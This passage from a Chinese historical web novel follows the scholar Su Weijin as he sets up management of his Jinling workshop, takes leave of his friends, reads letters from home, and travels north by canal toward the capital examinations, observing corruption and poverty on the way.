他脸上笑容不变,立刻表态:
“苏相**排得极是周到!
有惟元兄弟和惟率兄弟相助,
小的更是如虎添翼!
定当齐心协力,将生意做得更加红火!”
他心下虽稍有遗憾不能完全自主,
但也清楚这是必然之举,
反而更觉苏惟瑾行事老辣,不可小觑。
苏惟元和苏惟率也立刻起身,
对着苏惟瑾和彭久亮拱手:
“谨遵瑾哥儿/东家吩咐!
定当尽心竭力,协助彭掌柜,
管好工坊和账目!”
苏惟瑾点点头,继续道:
“生产计划,就按我们年前议定的执行,
坚持‘少而精’的路子,
宁缺毋滥,维持住这份稀缺。
销售方面,彭掌柜可酌情拓展,
但切记,稳字当头,莫要贪功冒进,
惹来不必要的麻烦。
若有难决之事,
可去请教文徵明先生,
我已与他打过招呼。”
“是是是,小的明白!”
彭久亮连连点头。
“至于利润,”
苏惟瑾语气加重了几分。
“每季结算,除去工坊开销、原料成本、
伙计薪俸及你们三人的分润,
其余利润,分出七成,由惟率负责,
兑换成金叶子或京城‘四海钱庄’、‘日升昌’票号的银票,
通过可靠的驿递,秘密送至京城我处。
剩余三成,留于金陵,
以备不时之需,以及…
或许的扩大生产。”
这是将财权也做了清晰分割,
大部分现金流要支持京城的活动。
彭久亮对此并无异议,
这本就是东家的权力。
他只是暗暗心惊这少年心思之缜密,
安排之妥帖,简直像个在商场官场浸淫多年的老手。
安排完商业核心,
苏惟瑾又看向一直侍立在门口的周大山:
“大山哥。”
“俺在!”
周大山嗡声应道,跨步进来,
高大的身躯带着一股压迫感。
“我走之后,金陵这边,你的担子最重。”
苏惟瑾看着他,目光郑重。
“工坊的安危,惟元、惟率还有彭掌柜的安全,皆系于你身。
我会留下赵胜、钱勇辅助你。
遇事,多动脑子,但也无需过分忍让。
若有那不开眼的前来生事,
该亮拳头时也不必客气,
一切以保全自身和产业为重,
出了事,有我担着!”
这话说得霸气,
周大山听得热血沸腾,
胸膛一挺,眼珠子瞪得溜圆:
“东家放心!
有俺老周在,看哪个泼才敢来龇牙!
工坊少了一根草,您唯俺是问!”
他说着,还下意识地摸了摸腰间,
那里鼓鼓囊
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囊,显然别着家伙。
彭久亮在一旁看得眼角直跳,
心下更是凛然。
这位东家,真是文武兼修,
软硬手段都备得齐全。
苏惟瑾笑了笑,
对周大山这份忠勇极为满意,
又补充道:
“此外,你需定期与惟率核对账目,
确保银钱往来清晰。
每隔半月,往北京送一封平安信,
简单说明此地情况。”
“俺晓得!定办得妥妥帖帖!”
周大山拍着胸脯保证。
一番安排,条理清晰,权责分明,
既有合作又有制衡,
既放了权又握紧了核心的钱袋子和人手。
彭久亮是既佩服又安心,
佩服的是对方手段,
安心的是如此安排反而避免了日后许多猜忌和糊涂账。
“如此,金陵诸事,便托付给诸位了。”
苏惟瑾端起茶杯,以茶代酒。
“望诸位同心同德,守好这份基业。
待我京中消息。”
“必不负东家所托!”
三人齐声应道,各自神色凝重,都感到了肩上的责任。
又细细商议了些细节,
彭久亮才告辞离去,
脚步匆匆,已是干劲十足。
苏惟元、苏惟率也退下去忙各自的事情。
书房内只剩下苏惟瑾和周大山。
苏惟瑾从书案抽屉里取出一个沉甸甸的钱袋,
递给周大山:
“大山哥,这些银子你拿着,
平时与赵胜钱勇他们吃酒耍子,
或是打点一下街面上的关系,
不必省着。
咱们自己人,不能亏待。”
周大山接过,掂了掂分量,
怕不有五十两,顿时眉开眼笑:
“还是东家想得周到!俺晓得了!”
“去吧,把赵胜钱勇叫来,我还有些话吩咐他们。”
“好嘞!”
看着周大山雄赳赳气昂昂出去的背影,
苏惟瑾轻轻吁了口气。
超频大脑回顾着刚才的所有安排,
确认并无明显疏漏。
金陵的产业,如同一个初步调试好的精密仪器,
在他离开后,应当也能依靠设定的规则自行运转一段时间。
如此,方能心无旁骛,北上赴考。
他走到窗边,望着金陵城繁华的街景,
目光已然越过千山万水,投向了那座巍峨的北方帝都。
后方已稳,当挥师北上,逐鹿中原了!
第123章 辞别诸友,约定京城见
腊月十六,年味越来越浓,
金陵城却已透出离别的气息。
苏惟瑾的行装早已打点妥当,
明日便要启程北上。
临行前,他需一一辞别这半年来在金陵结识的诸位师友。
第一站,自然是文徵明的衡山馆。
听闻苏惟瑾来访,文徵明亲自迎至院中。
老先生今日未执画笔,只着一件宽松的道袍,更显洒脱不拘。
“学生明日便要北上了,特来向文师辞行。”
苏惟瑾深深一揖。
文徵明扶起他,引至书房,
目光中满是期许与不舍:
“玉衡,此去京师,便是龙归大海。
你的才学心智,老夫从不担心。
唯有几句老生常谈,望你谨记。”
“文师请讲,学生洗耳恭听。”
“其一,京师水深,藏龙卧虎,
更兼派系林立,关系错综复杂。
你虽有锐气,却需暂藏锋芒,
多看多听,少说慎言。
尤其谨记‘和光同尘’四字,
莫要轻易卷入是非漩涡。”
文徵明神色郑重:
“其二,春闱虽重,然身体为本。
北地风寒,饮食亦与江南不同,
需善自珍重,莫要一味苦读,损了根基。
其三…”
他顿了顿,声音愈发温和。
“无论将来位居何等高位,
勿忘今日初心,勿负平生所学,
要做一个于国于民有用之人,
而非只会做锦绣文章的官僚。”
言辞恳切,句句皆是肺腑之言,
长者关怀之情溢于言表。
苏惟瑾心下感动,再次起身长揖:
“文师教诲,字字珠玑,
学生定当镌刻于心,永志不忘!”
文徵明欣慰地点点头,
又从书案抽屉中取出一个细长的锦盒:
“此乃老夫昔日所用的一支湖笔,
笔锋柔韧,经久耐用,伴我多年。
今赠予你,望它助你金殿夺魁,
书写锦绣文章。”
苏惟瑾双手接过,只觉分量沉重。
这不仅是礼物,更是一份沉甸甸的期望与传承。
“谢文师厚赐!学生必不让此笔蒙尘!”
辞别文徵明,
苏惟瑾又依次拜访了方鹏、顾清等文坛前辈。
方鹏只是勉励几句,
顾清却拉着他的手,
低声提点了些京师官场的微妙之处,
尤其是翰林院几位可能的读卷官的脾性偏好,
皆是千金难买的经验,苏惟瑾一一牢记。
下午,他约了**轩、徐阶、唐顺之三人于秦淮河畔一处清雅的茶楼小聚。
**轩最先到来,依旧是那般俊朗挺拔,
只是看向苏惟瑾的眼神中,
较劲之意淡了些,
多了几分真正的认可:
“玉衡兄此番北上,必是如鱼得水。
春闱之上,你我可要再较高下!”
话语虽带挑战,却已是君子之争的味道。
苏惟瑾笑道:
“子睿兄家学渊源,小弟望尘莫及,
只求不被落下太远便好。
你我京城再会,共勉!”
稍后,徐阶与唐顺之联袂而至。
徐阶依旧沉稳如水,言语不多,
却句句落到实处:
“京师居,大不易。
若遇难处,可来寻我。
虽力薄,或可略尽绵力。”
他递过一张写有北京住址的纸条,
虽未多言,却已表明态度。
唐顺之则依旧是狂士做派,
拍着苏惟瑾的肩膀:
“苏小弟,到了京城,
若有人欺你年轻,
报我唐荆川的名号!
若不好使,便用你的学问砸过去!
砸得他们哑口无言!”
说罢哈哈大笑,又压低声音。
“对了,你上次说的那个‘简化算式’,
我回去演算了一番,果然精妙!
还有没有别的?
路上无聊,正好琢磨。”
苏惟瑾忍俊不禁,
便又与他低声探讨了几句数学问题,
看得**轩和徐阶摇头失笑。
四人品茗论学,
谈及北方边患、漕运新政,
乃至可能出现的策问题目,
各抒己见,气氛热烈。
分别时,皆约定京城再聚,共同备考。
最后,暮色渐起,华灯初上。
苏惟瑾犹豫片刻,
还是走向了沈香君所在的那片画舫区域。
通报之后,丫鬟引他上了沈香君的“听雪舫”。
画舫内不似别处喧嚣,
只燃着淡淡的檀香,
沈香君今日未施粉黛,
穿着一身素雅的月白长裙,
正临窗调理琴弦,
见他进来,抬眸一笑,
眼底似有波光流转,
却又带着一丝不易察觉的怅惘。
“苏公子明日便要走了?”
她轻声问道
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,指尖无意识地拨过琴弦,
发出一声清越的微鸣。
“是,特来向沈大家辞行。”
苏惟瑾拱手。
这半年来,沈香君虽身处风尘,
却屡能提供些意想不到的市井消息,
且聪慧通透,言语机锋,
亦算是一位难得的知己。
沈香君沉默片刻,
嫣然一笑,那笑容却比平日淡了些:
“金陵少了苏公子,
只怕要无趣许多。
妾身身无长物,
唯有这十指还算灵巧。”
她说着,从一旁取过一个精巧的锦囊,递了过来。
锦囊是上好的苏绣缎面,
上面用极细的银线绣着一株傲雪寒梅,
旁边还有两个小字:“蟾宫”。
“此乃妾身亲手所绣的笔袋,
针线粗陋,聊表心意。
愿公子携此入京,笔翰如流,直上蟾宫。”
苏惟瑾接过,触手柔软,
绣工极其精美,
那寒梅更是栩栩如生,
暗合他“玉衡”之字(北斗七星,喻指方向、高远),寓意深远。
这份礼物,显然费了不少心思。
“沈大家厚赠,惟瑾愧领。
此去一别,山高水长,望大家珍重。”
苏惟瑾郑重收起笔袋,
心中亦有一丝异样情绪流动。
此女之情谊,暧昧难言,却真切可贵。
沈香君看着他收起笔袋,
眼底闪过一丝欣慰,
随即掩去,恢复那副清冷模样,轻声道:
“江湖路远,风波难测。
公子前程似锦,但亦需步步谨慎。
若有闲暇…不妨来信,
告知京师风物。”
最后一句,声音几不可闻。
苏惟瑾点头:“定然。”
离开听雪舫,秦淮河水波光粼粼,
倒映着两岸璀璨灯火与离愁别绪。
苏惟瑾站在岸边,
回望这座给予他功名、财富、
人脉与复杂情感的留都,
心中感慨万千。
超频大脑无声地记录下每一份情谊,
每一次叮嘱,每一道目光。
这些都是他未来道路上或显或隐的助力与牵挂。
所有的告别都已完成,所有的线头都已暂时理清。
明日,便将离开这温软繁华的江南,
奔向那权力与风暴的中心——北京城。
他深吸一口清冷的空气,转身,步履坚定地融入夜色。
第124章 四女信至,情思各不同
腊月十七,晨光熹微。
金陵城码头上已是人声鼎沸,
挑夫吆喝,船家揽客,
一派忙碌景象。
苏惟瑾一行人的行李早已装船,
周大山正挺着胸膛,
像尊门神似的守在跳板旁,
目光炯炯地扫视着周遭。
苏惟山、苏惟虎等人也各司其职,
做着最后的检查。
启程在即,空气中弥漫着离别的躁动与对前路的期待。
就在这时,一个驿卒打扮的男子气喘吁吁地挤过人群,高声问道:
“哪位是沭阳苏惟瑾苏解元?有急信!”
苏惟瑾正准备登船,闻声回头:“我就是。”
驿卒忙从怀中取出一个鼓鼓囊囊的信封,递了过来:
“解元公,您家乡沭阳来的信,
四封合在一处递送的,
说是务必在您启程前送到。”
苏惟瑾道谢接过。
驿卒退下后,他看着手中这四封信。
一封是熟悉的青绫方胜,
系着同心结,透着清冷雅致——赵文萱的。
一封是略显潦草的信封,
封口处甚至有个模糊的墨指印,
透着股急躁——王雪茹的。
还有一封,则是普通的黄麻纸信封,
字迹工整却小心翼翼,边角有些磨损——芸娘的。
四封信,竟几乎同时抵达。
苏惟瑾摇头失笑,这沭阳的鸿雁,倒是约好了一般。
他正欲拆看,
目光却落在那个略显厚重的信封上,
指尖触及,感觉里面似乎不止信纸。
他小心拆开,里面竟整齐地叠放着好几样物事。
最上面是一封信,
字迹稚嫩却一笔一画极其认真,
正是苏婉的手笔:
“哥哥亲启:见字如面。
听闻哥哥即将远行赴京,
婉妹心中既为哥哥高兴,
又十分不舍。
京城路远,天寒地冻,
望哥哥千万保重身体。
婉妹近日在族学又新识得许多字,
已能自己通读《千字文》,
先生夸我进步快。
附上近日**字一篇,
请哥哥看看可有进益?
另,前日得七叔公赏赐一块新布,
我给哥哥做了一双鞋垫,
针线粗糙,望哥哥莫要嫌弃,
垫在靴中或可稍御寒气。
还有一包我晒制的桂花,
是秋天时收集的,香气犹存,
哥哥读书困倦时,泡水喝可提神醒脑。
我在家中一切安好,
七叔公与族中长辈皆十分照拂,
五婶如今也不敢再让我做重活,
哥哥无需挂心。
只望哥哥在京一切顺利,
安心备考,金榜题名。
妹妹婉儿,敬上。”
信纸下方,果然附着一张写得密密麻麻的《千字文》**字,
虽笔力尚弱,但结构端正,可见用心。
一双用青色新布精心纳成的鞋垫,
针脚细密匀称,远非信中所言的“粗糙”。
还有一个用干净软布包好的小包,
打开便是扑鼻的桂花干香。
握着这封沉甸甸的信,
看着妹妹准备的这些朴实无华却充满心意的物件,
苏惟瑾心头最柔软的地方被深深触动了。
此时脑海之中甚至能清晰地勾勒出
妹妹在灯下认真写字、费力纳鞋垫、
小心收集桂花的情景。
这份毫无保留的依赖与纯粹的牵挂,
比任何华丽的辞藻都更能触动他的心弦。
他将鞋垫和桂花包仔细收好,
将那篇**字看了又看,
才轻轻放在一旁,
心中暖意融融,
又带着一丝对妹妹的疼惜与愧疚。
片刻之后
他才拿起王雪茹那封。
撕开信封(几乎扯破了),
里面就一张纸,
字迹依旧“力透纸背”,墨团点点:
“苏惟瑾!听说你明天就要滚去京城了?
动作倒快!
金陵那些弯弯绕绕的应酬没把你脑子绕糊涂吧?
(画了个简笔小人头晕眼花的模样)”
“京城肯定更大更绕!
你给我支棱起来!
别光埋头死读书,眼睛放亮些,耳朵竖起来!
听说那边贵人放个屁都带九个弯儿,
你可别被人卖了还帮数钱!”
“好好考!考不上…考不上也没啥,
回来本姑娘…
呃,我爹说不定还能给你在卫所谋个文书缺!
(墨点很大,似乎写这话时很犹豫)”
“站稳脚跟了记得来信!
以后等本姑娘去京城玩,
你得管饭!管住!还得当向导!听见没!”
落款处依旧没名字,
画了杆比上次更歪斜的**,
旁边添了四个小字:“一路顺风”。
苏惟瑾仿佛能听见她嚷嚷的声音穿透纸背,
带着不容置疑的“命令”和藏不住的关心。
他笑了笑,将这封“吼”出来的信放在一边。
接着是芸娘的信。
信纸薄薄,字迹密密麻麻,却依旧工整:
“苏相公敬启:闻相公不日将北上京师,心甚牵挂。
京师乃天子脚下,繁华无比,然则冬日苦寒,远胜金陵沭阳。
妾身无能,赶制了一副护膝(随信附上),
针线粗陋,然絮了些新棉,或可略挡风寒。
万望相公保重身体,饮食务必温热,勿要贪凉。
夜间读书,炭盆切勿离得太近,亦需留缝透气……”
通篇皆是这些细致到近乎琐碎的叮嘱,
仿佛他是个需要事事操心的孩童。
最后才用极小的字添了一句:
“妾身与父母一切安好,铺中亦安,相公无需挂心。
惟愿相公一路平安,金榜题名。”
没有画,没有诗,只有实实在在的关怀和那双厚厚的、针脚密实的棉布护膝。
苏惟瑾拿起那副护膝,手感柔软温暖。
他能想象芸娘在灯下赶工,
一针一线将棉花絮得均匀密实的情景。
这份沉默而厚重的牵挂,
让他心头暖融,亦有一丝酸涩。
最后,才是赵文萱的青绫方胜。
解开同心结,冷梅幽香淡淡。
信笺上的小楷清丽依旧,
却似乎比往日多了一丝不易察觉的缠绵:
“惟瑾相公青览:闻君不日北上,萱心绪万千。
沐阳一别,忽忽数月,
然相公之音容笑貌,
犹在眼前(此处墨迹略深,似有停顿)。
京师龙蟠虎踞,英才荟萃,
然以相公之才,必能脱颖而出,萱深信不疑。”
“然则宦海风波恶,京华居不易。
相公孤身远行,万望事事谨慎,三思而后行。
遇事不妨暂敛锋芒,以待其时。
闲暇时,亦可览京师风物,开阔胸襟。”
“春闱在即,萱才疏学浅,
无以相助,唯愿相公善加珍摄,
保重身体。萱在沭阳,
静候相公佳音。
待得蟾宫折桂日,
再…再为君贺。”
附诗一首:《送苏君之京》<
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br>“金陵烟雨浥轻尘,
北望京华气象新。
莫愁前路多风雨,
自有雄文动紫宸。
鲲鹏展翼三千里,
梅蕊含香待故人。
愿君此去扶摇上,
共沐天家雨露春。”
诗写得比上次更显才情与期许。
“梅蕊含香待故人”一句,
情思已呼之欲出。
四封信,四种截然不同的情思,
一样真挚的牵挂。
苏惟瑾坐在窗前,
将四封信细细又看了一遍。
小妹纯挚的依赖与进步,
赵文萱的才情与含蓄期待,
王雪茹的直率与另类鼓励,
芸娘的质朴与无声奉献,
如同四道暖流,汇入心田,
冲淡了离乡背井、独闯龙潭的孤寂感,
却也让他肩头那份责任愈发沉重。
他铺开信纸,决定一一回复。
给苏婉的回信,
他写得最为温柔细致,
先大力夸奖了她的字进步神速,
叮嘱她继续用功但切勿劳累,
又仔细问了她的日常生活细节,
最后告诉她鞋垫和桂花都非常喜欢,
已妥善收好,让她在家乖乖听话,
等着哥哥的好消息。
并附上了一张小巧精致的金陵风景笺作为奖励。
给王雪茹的回信最快,
几乎是笑着写完的:
“王姑娘手书拜悉。
吼声震耳,如雷贯耳,已知悉矣。
京城水深,惟瑾自当谨记‘支棱’之要诀,
眼观六路,耳听八方,力争不被卖掉。
若他日姑娘驾临京师,
管饭管住向导三件套,必不敢忘。
盼安好,勿念。”
落款旁画了个抱拳拱手的小人。
给芸娘的回信,则写得格外温和:
“陈姑娘惠鉴:
护膝并手书均已收到,感激不尽。
针线极好,棉花絮得温暖异常,
京师严寒,正需此物,多谢姑娘费心。
叮嘱之事,必一一遵行,善自珍重。
也望姑娘与家中二老保重身体,
勿要过于操劳。惟瑾顿首。”
他将那二两碎银再次包入信中,
这次写的是“聊添炭火”。
给赵文萱的回信,则斟酌最久。
他用词更为典雅考究:
“文萱小姐雅鉴:
惠书并华章奉读,如沐春风,感怀于心。
谢小姐吉言与殷殷叮嘱,
京师虽大,风波虽险,
然惟瑾谨记‘和光同尘’、‘以待其时’之训,
必当慎行敏思,不负期许。
小姐才思清丽,诗作尤佳,
‘梅蕊含香’句,隽永深长,惟瑾当铭刻于心,以为前行之勉。
春闱在即,惟当奋力一搏。
沭阳梅花,料已含苞,
待得佳音南传之日,再与小姐共赏芳华。”
他也次韵和了一首七律,
既酬答情意,亦抒写志向。
四封信写完,封缄妥当,
唤来苏惟山,吩咐分别寄出。
看着苏惟山拿着信跑开的背影,
苏惟瑾独立窗前,
望着北方铅灰色的天空。
金陵的喧嚣渐远,
京师的未知扑面而来。
但怀中四封书信的余温犹在,
那是来自故乡最柔软的牵挂,
也是他披荆斩棘路上,最温暖的力量。
柔情虽暖,志不可夺。
他深吸一口凛冽的空气,
目光再次投向书案上的《春秋繁露》。
前路漫漫,唯剑与心,不可辜负。
第125章 乘舟北上,奔赴新舞台
金陵的码头上,晨雾尚未散尽,
空气中夹杂着潮湿的水汽和淡淡的鱼腥味。
运河两岸,人声鼎沸,
脚夫吆喝,商贩叫卖,
组成一幅喧嚣而充满活力的市井画卷。
大小船只鳞次栉比,桅杆如林,帆影蔽日,彰显着这条帝国血脉的繁忙。
苏惟瑾一袭青衫,立于一艘北去的客船船头,
身侧是背着书箱、一脸兴奋又带着点忐忑的书童小奇,
以及越发沉稳的苏惟山和依旧憨直的苏惟虎。
他们的行李不多,
除了书籍和必备衣物,
便是芸娘那副厚实的护膝和赵文萱所赠的湖笔,
被苏惟瑾仔细收在行囊深处。
“开船喽——”
船老大一声悠长的吆喝,缆绳解开,
巨大的船帆借助风力缓缓鼓胀,
客船轻轻一震,离开了喧嚣的码头,
滑入宽阔的河面。
站在船头,看着金陵城墙逐渐远去,
最终化为天际线上一抹模糊的灰影,
苏惟瑾心中并无多少离愁别绪,
反而有一股压抑不住的激荡在胸中奔涌。
北京!
大明的中枢,权力的顶峰,
无数野心与梦想交织的舞台!
他来了!
运河之上,果然是一派繁荣景象。
官船威风凛凛,
插着各色旗帜,鸣锣开道,
寻常船只纷纷避让;
漕船队首尾相接,吃水极深,
满载着江南的粮米财富驶向北方;
商船装饰华丽,可见其主人财力雄厚;
更有无数像他们乘坐的这类客船,
载着南来北往的旅客,
其中不乏许多与他们目标一致、
怀揣梦想的赶考士子。
“瑾哥儿,你看那船,真气派!”
苏惟虎指着一条擦身而过的三层楼船,啧啧称奇。
那楼船雕梁画栋,船头甚至站着几个衣着鲜亮的护卫。
苏惟山则稳重些,低声道:
“看旗号,像是某位勋贵家的,
怕是北上述职或是回京。”
苏惟瑾微微点头,
目光却并未过多停留于表面的繁华。
他的超频大脑已然启动,
早已经化身最精密的扫描仪,
将沿途所见所闻不断录入、分析、比对。
航行不过半日,便遇第一处钞关。
所有船只都被要求减速,
排队等候查验、缴税。
他们的客船小,被挤在边缘,
等了近一个时辰才得以通过。
苏惟瑾看到,那艘勋贵楼船却只是亮了下旗牌,
便畅行无阻,甚至还有税吏点头哈腰地送行。
而一些满载货物的民船,
则被反复检查,税吏们鸡蛋里挑骨头,
船主赔着笑脸,偷偷塞过去些银钱,方才被放行。
“同样是行船,这待遇真是天差地别。”
小奇小声嘀咕。
苏惟山叹道:
“历来如此,没什么稀奇。”
苏惟瑾默然不语,
超频大脑却已记下:
关卡效率低下,权贵特权横行,
胥吏勒索成风。
此乃一弊。
继续北上,两岸风光渐变。
江南的稠密水网和精致田园逐渐被更为开阔、
略显粗犷的平原取代。
时值冬末春初,万物尚未复苏,
田野显得有些荒凉。
偶尔可见一些村落,泥墙茅舍,
与运河中穿梭的繁华船只形成鲜明对比。
途中停靠几个码头补给时,
苏惟瑾也会带着三人上岸略作走动。
码头上自是热闹非凡,
茶馆酒肆林立,各色人等汇聚。
他们便在一处临河的茶馆歇脚,
听得不少趣闻轶事。
邻桌几个行商模样的人正在高声谈论,
说的是去年漕粮入京的“奇事”:
“……都说漕粮是‘天庚正供’,
半点耽搁不得!
可去年运到通州仓的,
十船里愣是有两三船是霉变的陈米,
甚至掺了沙土!
就这,验收的官爷眼睛一闭,照样盖章入库!
为啥?
漕丁们一路辛苦,漂没损耗总得有点吧?
上下打点的开销总得从这里面出吧?
最后亏空的,还不是国库?”
另一人压低声音道:
“何止!
听说有的漕帮,干脆半路就把好米卖了,
换上次等的,甚至勾结水贼,
演一出‘遭风浪’或‘遇水匪’的戏码,
直接报个损失,一本万利!”
苏惟瑾端着粗瓷茶杯,
看似听着闲谈,超频大脑却在飞速运算:
漕运体系**,损耗巨大,
成本高昂,最终转嫁于民,
侵蚀国本。
此乃二弊。
又行数日,遇一大镇,
码头上挤满了等待卸货的漕船,
绵延数里,进展极其缓慢。
问及缘由,说是前方一段河道年久失修,
淤塞严重,大船难以通行,
只能等待小型驳船过来转运,费时费力。
船老大唉声叹气:
“每年都这样!
光是这段路,耽搁的时日、增加的脚费,就是一笔糊涂账!
上报要修河?
哼,银子拨下来,能有三成用到河工上,
就算青天大老爷开眼了!”
苏惟瑾望着眼前停滞的“长龙”,
超频大脑再次记录:
基础设施失修,管理混乱,
运输效率极端低下,
严重制约经济流通。
此乃三弊。
他还注意到,运河虽带来繁荣,
但利益分配极不均衡。
沿河大城镇固然商铺林立,
豪商巨贾一掷千金,
但稍离河岸远些的乡村,
却多见衣衫褴褛的农人、面
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有菜色的孩童。
一场大雪过后,甚至听闻有贫苦人家冻毙的惨事。
“朱门酒肉臭,路有冻死骨……”
小奇看着窗外景象,
忍不住低声念了句杜甫的诗,
被苏惟山瞪了一眼,赶紧闭嘴。
苏惟瑾心中默然。
繁荣下的巨大贫富差距,社会不公。
此乃四弊。
这一路,仿佛一堂生动而残酷的国情课。
书本上的“漕运弊政”、“吏治**”、“民生多艰”等词汇,
此刻化为了眼前真实可见、可闻、可感的景象。
他的超频大脑将这些散碎的见闻、
数据、案例不断整合、分析、推演,
原本一些模糊的改革念头,
变得愈发清晰和坚定。
若要改变,必须从这些根本性问题入手!
但这绝非易事,牵扯利益盘根错节,
需要大智慧、大魄力,
更需要…足够的权力!
同船的也有不少士子,
常聚在一起高谈阔论,
或炫耀文采,或议论朝局,
个个意气风发,仿似功名唾手可得,
治国平天下易如反掌。
苏惟瑾大多只是静静听着,
偶尔插言一两句,
却往往能切中要害,引人侧目。
有人见他年轻,言语间便有些轻视,故意问道:
“苏兄对此番春闱,可有高见?
莫非还想再夺一个会元?”
苏惟瑾只是淡淡一笑:
“天下英才汇聚,惟瑾能附骥尾已是幸事,
岂敢妄觊鼎甲?
但尽人事,听天命而已。”
他这般谦逊,反倒让那人不好再说什么。
旅途漫长,苏惟瑾大部分时间仍是在舱内读书。
只是他的阅读,已不再局限于经义程文,
更多开始翻阅沿途购买的各地府志、
水利图册、甚至是一些账房先生记录的民间物價流水账本。
超频大脑如饥似渴地吸收着一切有关这个帝国运行的真实信息。
这一日,客船终于驶出南直隶地界,
进入山东境内。
河道陡然变得更加繁忙,
两岸地势也愈发开阔。
船老大指着前方隐约可见的巨大城郭轮廓,高声喊道:
“各位客官,前面就是济宁州了!
运河上的大码头,咱们要在这停靠一日,装卸货物!”
苏惟瑾走出船舱,凭栏远眺。
但见运河如带,舟楫如梭,更远处,
一座雄城虎踞河畔,气象万千。
新的地域,新的风物,新的见闻正在前方等待。
他深吸一口带着北方干冷气息的空气,目光越过济宁,投向更遥远的北方。
那里,是北京。
航程已过半,目标渐近。
心中的豪情与冷静交织,
化为眼底深处一抹不易察觉的锐利光芒。
正延伸向那帝国心脏。
第126章 济宁初逢,酒楼显智断
客船在济宁州巨大的漕运码头缓缓靠岸。
但见帆樯如林,货积如山,
脚夫号子声、商贾议价声、
漕丁吆喝声混杂着运河的水汽扑面而来,
喧嚣鼎沸,好一派“江北小苏州”的繁盛气象。
苏惟瑾几人下了船,
顿觉一股混杂着泥土、货物、
人畜气息的热浪涌来,
与江南水乡的温润截然不同,
带着北方运河重镇特有的粗犷与活力。
码头上人流如织,各色口音交汇,
扛包的苦力、巡街的差役、
招揽生意的伙计、南来北往的客商,
构成一幅生动无比的市井画卷。
“好家伙,这济宁州,
比咱们沭阳县城怕是大了十倍不止!”
苏惟虎瞪大眼睛,
看着码头上堆积如山的粮包、
布匹、瓷器,啧啧称奇。
苏惟山则谨慎地护着行李,
低声道:
“瑾哥儿,此地人多眼杂,
我们需寻个稳妥的客栈落脚。”
苏惟瑾点头,超频大脑已快速扫描环境,
分析着人流走向和店铺招牌。
“寻那离码头稍远些,
但临街热闹、招牌老旧的客栈,
通常既方便又干净,店家也本分。”
几人依言,穿过码头区的喧嚣,
步入济宁州城。
街道宽阔,商铺鳞次栉比,酒旗招展。
绸缎庄、粮行、盐号、当铺、茶馆、酒肆应有尽有,
甚至还能看到几家挂着“淮扬风味”、“苏杭细点”招牌的食铺,
可见运河带来的南北交融。
正行走间,忽听前方有人高声招呼:
“前方可是金陵解元苏玉衡苏兄?”
苏惟瑾循声望去,
只见一家气派的“太白楼”门前,
立着几位身着儒衫的士子,
当先一人面容清癯,目光沉静,
正是徐阶。
他身边还站着几位气质各异的年轻人,皆仪表不凡。
苏惟瑾忙上前拱手笑道:
“原来是松江徐兄!不想在此偶遇,真是巧了。”
徐阶亦是含笑还礼:
“果真是苏兄。
我等也是今日方到济宁,略作休整。
他侧身介绍身旁友人。
“这几位是徐某途中结识的同科举子,
这位是浙江兴化林文霈兄,
这位是慈溪姚涞兄,
这位是宁波屠大山兄。”
几人相互见礼。
林文霈身材高瘦,言辞敏捷;
姚涞面皮白净,带着几分书卷气;
屠大山则人如其名,体格颇为健壮,性格豪爽。
听闻眼前这少年便是今科南直隶解元,
几人眼中皆闪过惊异之色,态度也热络起来。
寒暄几句,徐阶便邀道:
“相逢即是有缘,苏兄若不嫌弃,
不如一同在这太白楼小酌几杯,
也好叙话。”
苏惟瑾正想领略此地风物,
便从善如流,
吩咐苏惟山三人先去寻客栈安置行李,
自己随徐阶等人步入酒楼。
太白楼内生意极好,杯觥交错,人声喧哗。
伙计引他们上了二楼雅座,
临窗可望见楼下街道熙攘人流。
几人点了些鲁地名菜
——糖醋鲤鱼、九转大肠、奶汤蒲菜,并几样清淡小菜,一壶兰陵美酒。
酒过三巡,菜尝五味,
话题自然转到科举文章、经史义理上来。
徐阶学问扎实,言必有物;
林文霈机辩善论;
姚涞引经据典,颇为风雅;
屠大山则更关注实务策论。
苏惟瑾虽年纪最轻,
但超频大脑运转之下,
无论谈及何种话题,
皆能切中肯綮,偶尔一句点拨,
便让人有豁然开朗之感,
引得众人频频侧目,
心中那点因他年龄而起的轻视早已烟消云散。
正当几人谈兴正浓时,
楼下大堂忽然传来一阵激烈的争吵声,
夹杂着女子的哭泣和男子的怒骂,
很快便吸引了大批食客围拢过去,
嗡嗡的议论声盖过了其他声响。
“楼下何事喧哗?”
姚涞微微蹙眉,似不喜这扰了清静。
一个机灵的伙计赶忙过来,
陪着笑脸道:
“惊扰几位相公了。
像是吃醉了酒**,
掌柜的已去处置了。”
屠大山却是个好热闹的,起身道:
“干坐着也无趣,不如去看看?”
说着便往下走。
徐阶、林文霈等人也觉好奇,纷纷离席。
苏惟瑾只得跟上。
来到楼下,只见人群围成一圈。
圈内,一个穿着绸缎衣裳、满脸通红的中年胖子,
正死死揪着一个布衣青年的衣领,
唾沫横飞地骂道:
“好你个穷酸!
手脚不干净,偷到你爷爷头上来了!
快把爷的玉佩交出来!”
那青年面红耳赤,奋力挣扎,辩解道:
“你血口喷人!我何时偷你东西了?
我不过从你身边走过!”
胖子另一只手还拉着一个嘤嘤哭泣的少妇:
“娘子莫哭,为夫定将这贼厮送官究办!”
少妇哭道:“方才还好端端佩着的,
定是这人与我擦身而过时扯了去!”
那青年宋卫佳大叫冤枉:
“我未曾靠近尊夫人!
你们莫要诬赖好人!”
围观者指指点点,
有的说“看那后生穿着,
不像贼人”,有的说“知人知面不知心”,莫衷一是。
酒楼掌柜在一旁急得满头大汗,
连连作揖,却劝不住那胖商人。
徐阶见状,眉头微皱,
他生性端方,见不得这等**,
便上前一步,朗声道:
“二位且慢争执。
光天化日,朗朗乾坤,
是非曲直,总有个道理可讲。
不知可否将事情缘由细细道来?”
那胖商人见徐阶几人气度不凡,
像是读书人,语气稍缓,
但仍揪着青年不放,气呼呼道:
“这位相公评评理!
方才我与内人在此用饭,
一块价值五十两的羊脂玉佩就佩在腰间。
这穷酸从旁边走过,蹭了一下,
我起初不在意,待他走开,
我一摸腰间,玉佩便不见了!
不是他偷了,还能是谁?”
宋卫佳急道:
“我只是路过,何曾偷你东西?
你莫要含血喷人!”
徐阶沉吟片刻,问道:
“这位兄台,你既说他偷窃,
可有旁人看见?或有其他凭证?”
胖商人语塞:
“这…当时人多,
未曾留意…但必定是他!”
徐阶又看向青年:
“你可愿让店家搜一搜身,
以证清白?”
宋卫佳顿时涨红了脸,
梗着脖子道:
“士可杀不可辱!
我虽贫寒,却读圣贤书,
岂能容人随意搜身?”
场面一时僵持不下。
围观人群议论更响。
